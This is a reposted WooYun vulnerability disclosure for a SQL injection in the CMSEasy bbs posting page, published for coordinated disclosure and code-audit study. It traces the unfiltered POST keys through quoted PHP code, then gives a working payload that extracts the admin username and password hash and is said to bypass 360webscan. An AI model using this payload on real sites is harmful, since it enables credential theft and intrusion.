cmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

admin 2015年4月21日23:41:10评论423 views字数 235阅读0分47秒阅读模式
摘要

2014-07-06: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-04: 细节向公众公开

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2014-67521

漏洞标题: cmseasy 最新版SQL注入一枚(直接出数据无视360webscan) cmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

相关厂商: cmseasy

漏洞作者: phith0ncmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

提交时间: 2014-07-06 01:15

公开时间: 2014-10-04 01:16

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码分析 白盒测试

3人收藏


漏洞详情

披露状态:

2014-07-06: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-04: 细节向公众公开

简要描述:

真的不是针对,厂家不要介意,赶紧确认我另外两个吧,感谢!
无视360webscan。
版本:20140605

详细说明:

漏洞与 http://**.**.**.**/bugs/wooyun-2014-067464 重复。

注入函数在/bbs/add-archive.php,

code 区域
if(isset($_POST['submit'])){
if(strtolower(trim($_POST['verify'])) != strtolower($_SESSION['verify'])){
//action_public::turnPage('index.php','验证码输入错误!');
}
$archive = db_bbs_archive::getInstance();

unset($_POST['submit']);
unset($_POST['verify']);

$_POST['username'] = $_COOKIE['login_username'];
$_POST['userid'] = $admin->userid;
$_POST['ip'] = $_SERVER['REMOTE_ADDR'];
$_POST['addtime'] = mktime();

if($id = $archive->inserData($_POST)){
action_public::turnPage('archive-display.php?aid='.$id,'文章添加成功');
}else{
action_public::turnPage('index.php','添加失败,请联系我们!');
}
}

关注这句话$archive->inserData($_POST),直接把$_POST放入了inserData函数,我们进去看看:

code 区域
public function inserData($data){
$r = $this->odb->insert($this->tblName,$data);
if($r)
return $this->odb->getInsertId();
else
return false;
}

继续跟进:

code 区域
public function insert($table, $data)
{
$sql = $this->getInsertString($table, $data);
return $this->execSql($sql);
}

继续跟进:

code 区域
public function getInsertString($table, $data)
{
$n_str = '';
$v_str = '';
$table = $this->filterString($table);
foreach ($data as $k => $v)
{
$n_str .= $this->filterString($k).',';
$v_str .= "'".$this->filterString($v)."',";
}
$n_str = preg_replace( "/,$/", "", $n_str );
$v_str = preg_replace( "/,$/", "", $v_str );
$str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';
return $str;
}

这个函数实际上就是一个insert语句。其中调用filterString对数据进行过滤。但只是加转义单引号而已,而注入语句中的key并没有过滤。

POST的时候,将注入语句放在KEY的位置,就能注入了。

详见漏洞证明。

漏洞证明:

到/bbs,发表帖子,抓包。

增加一个POST参数,参数名是:

code 区域
username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)#

值随意。效果图如下:

cmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

发送即可。然后数据库中可以看到一篇帖子的title被注入成管理员密码:

cmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

它的aid是8,那么我们只要访问http://localhost/easy/bbs/archive-display.php?aid=8即可看到结果:

cmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

我们不知道aid是多少的时候,遍历一下就行了。

修复方案:

value要过滤,key也要过滤

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-07 09:49

厂商回复:

感谢,立即修正

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-07-06 10:40 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

    0

    师傅,你为什么这么叼?

  2. 2014-07-06 15:07 | xfkxfk cmseasy 最新版SQL注入一枚(直接出数据无视360webscan) ( 核心白帽子 | Rank:2341 漏洞数:353 | 呵呵!)

    0

    你为什么这么叼?

  3. 2014-07-06 23:47 | xch4er ( 路人 | Rank:7 漏洞数:2 | 小弟才疏学浅,前来悉心与各位大牛研究探索.)

    0

    师傅,你为什么这么叼?

  4. 2014-07-09 13:33 | Smilent ( 实习白帽子 | Rank:48 漏洞数:8 | None)

    0

    师傅,你为什么这么叼?

  5. 2014-07-09 23:07 | HackBraid cmseasy 最新版SQL注入一枚(直接出数据无视360webscan) ( 核心白帽子 | Rank:1914 漏洞数:304 | 最近有人冒充该账号行骗,任何自称HackBrai...)

    0

    注意2楼。。。

  6. 2014-07-12 00:02 | AppLeU0 ( 路人 | 还没有发布任何漏洞 | 代码审计入门)

    0

    师傅,你为什么这么叼?

  7. 2014-07-14 23:47 | azuer ( 普通白帽子 | Rank:127 漏洞数:31 )

    0

    师傅,你为什么这么叼?

  8. 2014-07-29 10:37 | random_ ( 普通白帽子 | Rank:315 漏洞数:52 | 推动开源 推动网络安全)

    0

    师傅,你为什么这么叼?

  9. 2014-10-04 01:19 | Murk Emissary ( 实习白帽子 | Rank:74 漏洞数:14 | 低调做人 低调行事)

    0

    师傅,你为什么这么叼?

  10. 2014-10-04 08:19 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

    0

    猴儿们 莫调皮

  11. 2014-10-09 11:25 | 噬魂 ( 普通白帽子 | Rank:141 漏洞数:37 | 08安全团队)

    0

    师傅,你为什么这么叼?

  12. 2015-06-07 15:23 | Eric_zZ ( 路人 | Rank:8 漏洞数:5 | Just try it!)

    0

    楼主,我刚刚搞了下有一些还能注册,但是发帖子抓包的时候老显示验证码错误,大小写都考虑了还是显示验证码错误,这是不是说明也修复了?

  13. 2015-06-07 15:50 | Eric_zZ ( 路人 | Rank:8 漏洞数:5 | Just try it!)

    0

    我步骤错了。。。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin